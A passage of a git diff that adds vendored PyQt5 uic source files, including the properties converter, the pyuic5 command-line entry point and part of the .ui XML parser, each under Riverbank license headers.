http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/as_string.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/as_string.py new file mode 100644 index 00000000..c0fb864c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/as_string.py @@ -0,0 +1,40 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +import re + + +def as_string(obj): + if isinstance(obj, str): + return '"' + _escape(obj) + '"' + + return str(obj) + + +_esc_regex = re.compile(r"(\"|\'|\\)") + +def _escape(text): + # This escapes any escaped single or double quote or backslash. + x = _esc_regex.sub(r"\\\1", text) + + # This replaces any '\n' with an escaped version and a real line break. + return re.sub(r'\n', r'\\n"\n"', x) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/ascii_upper.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/ascii_upper.py new file mode 100644 index 00000000..ef29aa0d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/ascii_upper.py @@ -0,0 +1,30 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# A translation table for converting ASCII lower case to upper case. +_ascii_trans_table = bytes.maketrans(b'abcdefghijklmnopqrstuvwxyz', + b'ABCDEFGHIJKLMNOPQRSTUVWXYZ') + + +# Convert a string to ASCII upper case irrespective of the current locale. +def ascii_upper(s): + return s.translate(_ascii_trans_table) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/proxy_base.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/proxy_base.py new file mode 100644 index 00000000..fe85cb2c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/proxy_base.py @@ -0,0 +1,29 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +from ..Compiler.proxy_metaclass import ProxyMetaclass + + +class ProxyBase(metaclass=ProxyMetaclass): + """ A base class for proxies using Python v3 syntax for setting the + meta-class. + """ diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/string_io.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/string_io.py new file mode 100644 index 00000000..6f3e30c8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/string_io.py @@ -0,0 +1,24 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# Import the StringIO object. +from io import StringIO diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/properties.py b/OTHERS/Jarvis/ools/PyQt5/uic/properties.py new file mode 100644 index 00000000..88ddb739 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/properties.py @@ -0,0 +1,523 @@ +############################################################################# +## +## Copyright (C) 2019 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +import logging +import os.path +import sys + +from .exceptions import NoSuchClassError, UnsupportedPropertyError +from .icon_cache import IconCache + +if sys.hexversion >= 0x03000000: + from .port_v3.ascii_upper import ascii_upper +else: + from .port_v2.ascii_upper import ascii_upper + + +logger = logging.getLogger(__name__) +DEBUG = logger.debug + + +QtCore = None +QtGui = None +QtWidgets = None + + +def int_list(prop): + return [int(child.text) for child in prop] + +def float_list(prop): + return [float(child.text) for child in prop] + +bool_ = lambda v: v == "true" + +def qfont_enum(v): + return getattr(QtGui.QFont, v) + +def needsWidget(func): + func.needsWidget = True + return func + + +class Properties(object): + def __init__(self, factory, qtcore_module, qtgui_module, qtwidgets_module): + self.factory = factory + + global QtCore, QtGui, QtWidgets + QtCore = qtcore_module + QtGui = qtgui_module + QtWidgets = qtwidgets_module + + self._base_dir = '' + + self.reset() + + def set_base_dir(self, base_dir): + """ Set the base directory to be used for all relative filenames. """ + + self._base_dir = base_dir + self.icon_cache.set_base_dir(base_dir) + + def reset(self): + self.buddies = [] + self.delayed_props = [] + self.icon_cache = IconCache(self.factory, QtGui) + + def _pyEnumMember(self, cpp_name): + try: + prefix, membername = cpp_name.split("::") + except ValueError: + prefix = 'Qt' + membername = cpp_name + + if prefix == 'Qt': + return getattr(QtCore.Qt, membername) + + scope = self.factory.findQObjectType(prefix) + if scope is None: + raise NoSuchClassError(prefix) + + return getattr(scope, membername) + + def _set(self, prop): + expr = [self._pyEnumMember(v) for v in prop.text.split('|')] + + value = expr[0] + for v in expr[1:]: + value |= v + + return value + + def _enum(self, prop): + return self._pyEnumMember(prop.text) + + def _number(self, prop): + return int(prop.text) + + _UInt = _uInt = _longLong = _uLongLong = _number + + def _double(self, prop): + return float(prop.text) + + def _bool(self, prop): + return prop.text == 'true' + + def _stringlist(self, prop): + return [self._string(p, notr='true') for p in prop] + + def _string(self, prop, notr=None): + text = prop.text + + if text is None: + return "" + + if prop.get('notr', notr) == 'true': + return text + + disambig = prop.get('comment') + + return QtWidgets.QApplication.translate(self.uiname, text, disambig) + + _char = _string + + def _cstring(self, prop): + return str(prop.text) + + def _color(self, prop): + args = int_list(prop) + + # Handle the optional alpha component. + alpha = int(prop.get("alpha", "255")) + + if alpha != 255: + args.append(alpha) + + return QtGui.QColor(*args) + + def _point(self, prop): + return QtCore.QPoint(*int_list(prop)) + + def _pointf(self, prop): + return QtCore.QPointF(*float_list(prop)) + + def _rect(self, prop): + return QtCore.QRect(*int_list(prop)) + + def _rectf(self, prop): + return QtCore.QRectF(*float_list(prop)) + + def _size(self, prop): + return QtCore.QSize(*int_list(prop)) + + def _sizef(self, prop): + return QtCore.QSizeF(*float_list(prop)) + + def _pixmap(self, prop): + if prop.text: + fname = prop.text.replace("\\", "\\\\") + if self._base_dir != '' and fname[0] != ':' and not os.path.isabs(fname): + fname = os.path.join(self._base_dir, fname) + + return QtGui.QPixmap(fname) + + # Don't bother to set the property if the pixmap is empty. + return None + + def _iconset(self, prop): + return self.icon_cache.get_icon(prop) + + def _url(self, prop): + return QtCore.QUrl(prop[0].text) + + def _locale(self, prop): + lang = getattr(QtCore.QLocale, prop.attrib['language']) + country = getattr(QtCore.QLocale, prop.attrib['country']) + return QtCore.QLocale(lang, country) + + def _date(self, prop): + return QtCore.QDate(*int_list(prop)) + + def _datetime(self, prop): + args = int_list(prop) + return QtCore.QDateTime(QtCore.QDate(*args[-3:]), QtCore.QTime(*args[:-3])) + + def _time(self, prop): + return QtCore.QTime(*int_list(prop)) + + def _gradient(self, prop): + name = 'gradient' + + # Create the specific gradient. + gtype = prop.get('type', '') + + if gtype == 'LinearGradient': + startx = float(prop.get('startx')) + starty = float(prop.get('starty')) + endx = float(prop.get('endx')) + endy = float(prop.get('endy')) + gradient = self.factory.createQObject('QLinearGradient', name, + (startx, starty, endx, endy), is_attribute=False) + + elif gtype == 'ConicalGradient': + centralx = float(prop.get('centralx')) + centraly = float(prop.get('centraly')) + angle = float(prop.get('angle')) + gradient = self.factory.createQObject('QConicalGradient', name, + (centralx, centraly, angle), is_attribute=False) + + elif gtype == 'RadialGradient': + centralx = float(prop.get('centralx')) + centraly = float(prop.get('centraly')) + radius = float(prop.get('radius')) + focalx = float(prop.get('focalx')) + focaly = float(prop.get('focaly')) + gradient = self.factory.createQObject('QRadialGradient', name, + (centralx, centraly, radius, focalx, focaly), + is_attribute=False) + + else: + raise UnsupportedPropertyError(prop.tag) + + # Set the common values. + spread = prop.get('spread') + if spread: + gradient.setSpread(getattr(QtGui.QGradient, spread)) + + cmode = prop.get('coordinatemode') + if cmode: + gradient.setCoordinateMode(getattr(QtGui.QGradient, cmode)) + + # Get the gradient stops. + for gstop in prop: + if gstop.tag != 'gradientstop': + raise UnsupportedPropertyError(gstop.tag) + + position = float(gstop.get('position')) + color = self._color(gstop[0]) + + gradient.setColorAt(position, color) + + return gradient + + def _palette(self, prop): + palette = self.factory.createQObject("QPalette", "palette", (), + is_attribute=False) + + for palette_elem in prop: + sub_palette = getattr(QtGui.QPalette, palette_elem.tag.title()) + for role, color in enumerate(palette_elem): + if color.tag == 'color': + # Handle simple colour descriptions where the role is + # implied by the colour's position. + palette.setColor(sub_palette, + QtGui.QPalette.ColorRole(role), self._color(color)) + elif color.tag == 'colorrole': + role = getattr(QtGui.QPalette, color.get('role')) + brush = self._brush(color[0]) + palette.setBrush(sub_palette, role, brush) + else: + raise UnsupportedPropertyError(color.tag) + + return palette + + def _brush(self, prop): + brushstyle = prop.get('brushstyle') + + if brushstyle in ('LinearGradientPattern', 'ConicalGradientPattern', 'RadialGradientPattern'): + gradient = self._gradient(prop[0]) + brush = self.factory.createQObject("QBrush", "brush", (gradient, ), + is_attribute=False) + else: + color = self._color(prop[0]) + brush = self.factory.createQObject("QBrush", "brush", (color, ), + is_attribute=False) + + brushstyle = getattr(QtCore.Qt, brushstyle) + brush.setStyle(brushstyle) + + return brush + + #@needsWidget + def _sizepolicy(self, prop, widget): + values = [int(child.text) for child in prop] + + if len(values) == 2: + # Qt v4.3.0 and later. + horstretch, verstretch = values + hsizetype = getattr(QtWidgets.QSizePolicy, prop.get('hsizetype')) + vsizetype = getattr(QtWidgets.QSizePolicy, prop.get('vsizetype')) + else: + hsizetype, vsizetype, horstretch, verstretch = values + hsizetype = QtWidgets.QSizePolicy.Policy(hsizetype) + vsizetype = QtWidgets.QSizePolicy.Policy(vsizetype) + + sizePolicy = self.factory.createQObject('QSizePolicy', 'sizePolicy', + (hsizetype, vsizetype), is_attribute=False) + sizePolicy.setHorizontalStretch(horstretch) + sizePolicy.setVerticalStretch(verstretch) + sizePolicy.setHeightForWidth(widget.sizePolicy().hasHeightForWidth()) + return sizePolicy + _sizepolicy = needsWidget(_sizepolicy) + + # font needs special handling/conversion of all child elements. + _font_attributes = (("Family", lambda s: s), + ("PointSize", int), + ("Bold", bool_), + ("Italic", bool_), + ("Underline", bool_), + ("Weight", int), + ("StrikeOut", bool_), + ("Kerning", bool_), + ("StyleStrategy", qfont_enum)) + + def _font(self, prop): + newfont = self.factory.createQObject("QFont", "font", (), + is_attribute = False) + for attr, converter in self._font_attributes: + v = prop.findtext("./%s" % (attr.lower(),)) + if v is None: + continue + + getattr(newfont, "set%s" % (attr,))(converter(v)) + return newfont + + def _cursor(self, prop): + return QtGui.QCursor(QtCore.Qt.CursorShape(int(prop.text))) + + def _cursorShape(self, prop): + return QtGui.QCursor(getattr(QtCore.Qt, prop.text)) + + def convert(self, prop, widget=None): + try: + func = getattr(self, "_" + prop[0].tag) + except AttributeError: + raise UnsupportedPropertyError(prop[0].tag) + else: + args = {} + if getattr(func, "needsWidget", False): + assert widget is not None + args["widget"] = widget + + return func(prop[0], **args) + + + def _getChild(self, elem_tag, elem, name, default=None): + for prop in elem.findall(elem_tag): + if prop.attrib["name"] == name: + return self.convert(prop) + else: + return default + + def getProperty(self, elem, name, default=None): + return self._getChild("property", elem, name, default) + + def getAttribute(self, elem, name, default=None): + return self._getChild("attribute", elem, name, default) + + def setProperties(self, widget, elem): + # Lines are sunken unless the frame shadow is explicitly set. + set_sunken = (elem.attrib.get('class') == 'Line') + + for prop in elem.findall('property'): + prop_name = prop.attrib['name'] + DEBUG("setting property %s" % (prop_name,)) + + if prop_name == 'frameShadow': + set_sunken = False + + try: + stdset = bool(int(prop.attrib['stdset'])) + except KeyError: + stdset = True + + if not stdset: + self._setViaSetProperty(widget, prop) + elif hasattr(self, prop_name): + getattr(self, prop_name)(widget, prop) + else: + prop_value = self.convert(prop, widget) + if prop_value is not None: + getattr(widget, 'set%s%s' % (ascii_upper(prop_name[0]), prop_name[1:]))(prop_value) + + if set_sunken: + widget.setFrameShadow(QtWidgets.QFrame.Sunken) + + # SPECIAL PROPERTIES + # If a property has a well-known value type but needs special, + # context-dependent handling, the default behaviour can be overridden here. + + # Delayed properties will be set after the whole widget tree has been + # populated. + def _delayed_property(self, widget, prop): + prop_value = self.convert(prop) + if prop_value is not None: + prop_name = prop.attrib["name"] + self.delayed_props.append((widget, False, + 'set%s%s' % (ascii_upper(prop_name[0]), prop_name[1:]), + prop_value)) + + # These properties will be set with a widget.setProperty call rather than + # calling the set function. + def _setViaSetProperty(self, widget, prop): + prop_value = self.convert(prop, widget) + if prop_value is not None: + prop_name = prop.attrib['name'] + + # This appears to be a Designer/uic hack where stdset=0 means that + # the viewport should be used. + if prop[0].tag == 'cursorShape': + widget.viewport().setProperty(prop_name, prop_value) + else: + widget.setProperty(prop_name, prop_value) + + # Ignore the property. + def _ignore(self, widget, prop): + pass + + # Define properties that use the canned handlers. + currentIndex = _delayed_property + currentRow = _delayed_property + + showDropIndicator = _setViaSetProperty + intValue = _setViaSetProperty + value = _setViaSetProperty + + objectName = _ignore + margin = _ignore + leftMargin = _ignore + topMargin = _ignore + rightMargin = _ignore + bottomMargin = _ignore + spacing = _ignore + horizontalSpacing = _ignore + verticalSpacing = _ignore + + # tabSpacing is actually the spacing property of the widget's layout. + def tabSpacing(self, widget, prop): + prop_value = self.convert(prop) + if prop_value is not None: + self.delayed_props.append((widget, True, 'setSpacing', prop_value)) + + # buddy setting has to be done after the whole widget tree has been + # populated. We can't use delay here because we cannot get the actual + # buddy yet. + def buddy(self, widget, prop): + buddy_name = prop[0].text + if buddy_name: + self.buddies.append((widget, buddy_name)) + + # geometry is handled specially if set on the toplevel widget. + def geometry(self, widget, prop): + if widget.objectName() == self.uiname: + geom = int_list(prop[0]) + widget.resize(geom[2], geom[3]) + else: + widget.setGeometry(self._rect(prop[0])) + + def orientation(self, widget, prop): + # If the class is a QFrame, it's a line. + if widget.metaObject().className() == 'QFrame': + widget.setFrameShape( + {'Qt::Horizontal': QtWidgets.QFrame.HLine, + 'Qt::Vertical' : QtWidgets.QFrame.VLine}[prop[0].text]) + else: + widget.setOrientation(self._enum(prop[0])) + + # The isWrapping attribute of QListView is named inconsistently, it should + # be wrapping. + def isWrapping(self, widget, prop): + widget.setWrapping(self.convert(prop)) + + # This is a pseudo-property injected to deal with margins. + def pyuicMargins(self, widget, prop): + widget.setContentsMargins(*int_list(prop)) + + # This is a pseudo-property injected to deal with spacing. + def pyuicSpacing(self, widget, prop): + horiz, vert = int_list(prop) + + if horiz == vert: + widget.setSpacing(horiz) + else: + if horiz >= 0: + widget.setHorizontalSpacing(horiz) + + if vert >= 0: + widget.setVerticalSpacing(vert) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/pyuic.py b/OTHERS/Jarvis/ools/PyQt5/uic/pyuic.py new file mode 100644 index 00000000..9e68aff7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/pyuic.py @@ -0,0 +1,96 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +import sys +import optparse + +from PyQt5 import QtCore + +from .driver import Driver +from .exceptions import NoSuchClassError, NoSuchWidgetError + + +Version = "Python User Interface Compiler %s for Qt version %s" % (QtCore.PYQT_VERSION_STR, QtCore.QT_VERSION_STR) + + +def main(): + parser = optparse.OptionParser(usage="pyuic5 [options] ", + version=Version) + parser.add_option("-p", "--preview", dest="preview", action="store_true", + default=False, + help="show a preview of the UI instead of generating code") + parser.add_option("-o", "--output", dest="output", default="-", + metavar="FILE", + help="write generated code to FILE instead of stdout") + parser.add_option("-x", "--execute", dest="execute", action="store_true", + default=False, + help="generate extra code to test and display the class") + parser.add_option("-d", "--debug", dest="debug", action="store_true", + default=False, help="show debug output") + parser.add_option("-i", "--indent", dest="indent", action="store", + type="int", default=4, metavar="N", + help="set indent width to N spaces, tab if N is 0 [default: 4]") + + g = optparse.OptionGroup(parser, title="Code generation options") + g.add_option("--import-from", dest="import_from", metavar="PACKAGE", + help="generate imports of pyrcc5 generated modules in the style 'from PACKAGE import ...'") + g.add_option("--from-imports", dest="from_imports", action="store_true", + default=False, help="the equivalent of '--import-from=.'") + g.add_option("--resource-suffix", dest="resource_suffix", action="store", + type="string", default="_rc", metavar="SUFFIX", + help="append SUFFIX to the basename of resource files [default: _rc]") + parser.add_option_group(g) + + opts, args = parser.parse_args() + + if len(args) != 1: + sys.stderr.write("Error: one input ui-file must be specified\n") + sys.exit(1) + + # Invoke the appropriate driver. + driver = Driver(opts, args[0]) + + exit_status = 1 + + try: + exit_status = driver.invoke() + + except IOError as e: + driver.on_IOError(e) + + except SyntaxError as e: + driver.on_SyntaxError(e) + + except NoSuchClassError as e: + driver.on_NoSuchClassError(e) + + except NoSuchWidgetError as e: + driver.on_NoSuchWidgetError(e) + + except Exception as e: + driver.on_Exception(e) + + sys.exit(exit_status) + + +if __name__ == '__main__': + main() diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/uiparser.py b/OTHERS/Jarvis/ools/PyQt5/uic/uiparser.py new file mode 100644 index 00000000..5e250dcb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/uiparser.py @@ -0,0 +1,1052 @@ +############################################################################# +## +## Copyright (C) 2019 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +import sys +import logging +import os +import re +from xml.etree.ElementTree import parse, SubElement + +from .objcreator import QObjectCreator +from .properties import Properties + + +logger = logging.getLogger(__name__) +DEBUG = logger.debug + +QtCore = None +QtWidgets = None + + +def _parse_alignment(alignment): + """ Convert a C++ alignment to the corresponding flags. """ + + align_flags = None + for qt_align in alignment.split('|'): + _, qt_align = qt_align.split('::') + align = getattr(QtCore.Qt, qt_align) + + if align_flags is None: + align_flags = align + else: + align_flags |= align + + return align_flags + + +def _layout_position(elem): + """ Return either (), (0, alignment), (row, column, rowspan, colspan) or + (row, column, rowspan, colspan, alignment) depending on the type of layout + and its configuration. The result will be suitable to use as arguments to + the layout. + """ + + row = elem.attrib.get('row') + column = elem.attrib.get('column') + alignment = elem.attrib.get('alignment') + + # See if it is a box layout. + if row is None or column is None: + if alignment is None: + return () + + return (0, _parse_alignment(alignment)) + + # It must be a grid or a form layout. + row = int(row) + column = int(column) + + rowspan = int(elem.attrib.get('rowspan', 1)) + colspan = int(elem.attrib.get('colspan', 1)) + + if alignment is None: + return (row, column, rowspan, colspan) + + return (row, column, rowspan, colspan, _parse_alignment(alignment)) + + +class WidgetStack(list): + topwidget = None + def push(self, item): + DEBUG("push %s %s" % (item.metaObject().className(), + item.objectName())) + self.append(item) + if isinstance(item, QtWidgets.QWidget): + self.topwidget = item + + def popLayout(self): + layout = list.pop(self) + DEBUG("pop layout %s %s" % (layout.metaObject().className(), + layout.objectName())) + return layout + + def popWidget(self): + widget = list.pop(self) + DEBUG("pop widget %s %s" % (widget.metaObject().className(), + widget.objectName())) + for item in reversed(self): + if isinstance(item, QtWidgets.QWidget): + self.topwidget = item + break + else: + self.topwidget = None + DEBUG("new topwidget %s" % (self.topwidget,)) + return widget + + def peek(self): + return self[-1] + + def topIsLayout(self): + return isinstance(self[-1], QtWidgets.QLayout) + + def topIsLayoutWidget(self): + # A plain QWidget is a layout widget unless it's parent is a + # QMainWindow or a container widget. Note that the corresponding uic + # test is a little more complicated as it involves features not + # supported by pyuic. + + if type(self[-1]) is not QtWidgets.QWidget: + return False + + if len(self) < 2: + return False + + parent = self[-2] + + return isinstance(parent, QtWidgets.QWidget) and type(parent) not in ( + QtWidgets.QMainWindow, + QtWidgets.QStackedWidget, + QtWidgets.QToolBox, + QtWidgets.QTabWidget, + QtWidgets.QScrollArea, + QtWidgets.QMdiArea, + QtWidgets.QWizard, + QtWidgets.QDockWidget) + + +class ButtonGroup(object): + """ Encapsulate the configuration of a button group and its implementation. + """ + + def __init__(self): + """ Initialise the button group. """ + + self.exclusive = True + self.object = None + + +class UIParser(object): + def __init__(self, qtcore_module, qtgui_module, qtwidgets_module, creatorPolicy): + self.factory = QObjectCreator(creatorPolicy) + self.wprops = Properties(self.factory, qtcore_module, qtgui_module, + qtwidgets_module) + + global QtCore, QtWidgets + QtCore = qtcore_module + QtWidgets = qtwidgets_module + + self.reset() + + def uniqueName(self, name): + """UIParser.uniqueName(string) -> string + + Create a unique name from a string. + >>> p = UIParser(QtCore, QtGui, QtWidgets) + >>> p.uniqueName("foo") + 'foo' + >>> p.uniqueName("foo") + 'foo1' + """ + try: + suffix = self.name_suffixes[name] + except KeyError: + self.name_suffixes[name] = 0 + return name + + suffix += 1 + self.name_suffixes[name] = suffix + + return "%s%i" % (name, suffix) + + def reset(self): + try: self.wprops.reset() + except AttributeError: pass + self.toplevelWidget = None + self.stack = WidgetStack() + self.name_suffixes = {} + self.defaults = {'spacing': -1, 'margin': -1} + self.actions = [] + self.currentActionGroup = None + self.resources = [] + self.button_groups = {} + + def setupObject(self, clsname, parent, branch, is_attribute=True): + name = self.uniqueName(branch.attrib.get('name') or clsname[1:].lower()) + + if parent is None: + args = () + else: + args = (parent, ) + + obj = self.factory.createQObject(clsname, name, args, is_attribute) + + self.wprops.setProperties(obj, branch) + obj.setObjectName(name) + + if is_attribute: + setattr(self.toplevelWidget, name, obj) + + return obj + + def getProperty(self, elem, name): + for prop in elem.findall('property'): + if prop.attrib['name'] == name: + return prop + + return None + + def createWidget(self, elem): + self.column_counter = 0 + self.row_counter = 0 + self.item_nr = 0 + self.itemstack = [] + self.sorting_enabled = None + + widget_class = elem.attrib['class'].replace('::', '.') + if widget_class == 'Line': + widget_class = 'QFrame' + + # Ignore the parent if it is a container. + parent = self.stack.topwidget + if isinstance(parent, (QtWidgets.QDockWidget, QtWidgets.QMdiArea, + QtWidgets.QScrollArea, QtWidgets.QStackedWidget, + QtWidgets.QToolBox, QtWidgets.QTabWidget, + QtWidgets.QWizard)): + parent = None + + self.stack.push(self.setupObject(widget_class, parent, elem)) + + if isinstance(self.stack.topwidget, QtWidgets.QTableWidget): + if self.getProperty(elem, 'columnCount') is None: + self.stack.topwidget.setColumnCount(len(elem.findall("column"))) + + if self.getProperty(elem, 'rowCount') is None: + self.stack.topwidget.setRowCount(len(elem.findall("row"))) + + self.traverseWidgetTree(elem) + widget = self.stack.popWidget() + + if isinstance(widget, QtWidgets.QTreeView): + self.handleHeaderView(elem, "header", widget.header()) + + elif isinstance(widget, QtWidgets.QTableView): + self.handleHeaderView(elem, "horizontalHeader", + widget.horizontalHeader()) + self.handleHeaderView(elem, "verticalHeader", + widget.verticalHeader()) + + elif isinstance(widget, QtWidgets.QAbstractButton): + bg_i18n = self.wprops.getAttribute(elem, "buttonGroup") + if bg_i18n is not None: + # This should be handled properly in case the problem arises + # elsewhere as well. + try: + # We are compiling the .ui file. + bg_name = bg_i18n.string + except AttributeError: + # We are loading the .ui file. + bg_name = bg_i18n + + # Designer allows the creation of .ui files without explicit + # button groups, even though uic then issues warnings. We + # handle it in two stages by first making sure it has a name + # and then making sure one exists with that name. + if not bg_name: + bg_name = 'buttonGroup' + + try: + bg = self.button_groups[bg_name] + except KeyError: + bg = self.button_groups[bg_name] = ButtonGroup() + + if bg.object is None: + bg.object = self.factory.createQObject("QButtonGroup", + bg_name, (self.toplevelWidget, )) + setattr(self.toplevelWidget, bg_name, bg.object) + + bg.object.setObjectName(bg_name) + + if not bg.exclusive: + bg.object.setExclusive(False) + + bg.object.addButton(widget) + + if self.sorting_enabled is not None: + widget.setSortingEnabled(self.sorting_enabled) + self.sorting_enabled = None + + if self.stack.topIsLayout(): + lay = self.stack.peek() + lp = elem.attrib['layout-position'] + + if isinstance(lay, QtWidgets.QFormLayout): + lay.setWidget(lp[0], self._form_layout_role(lp), widget) + else: + 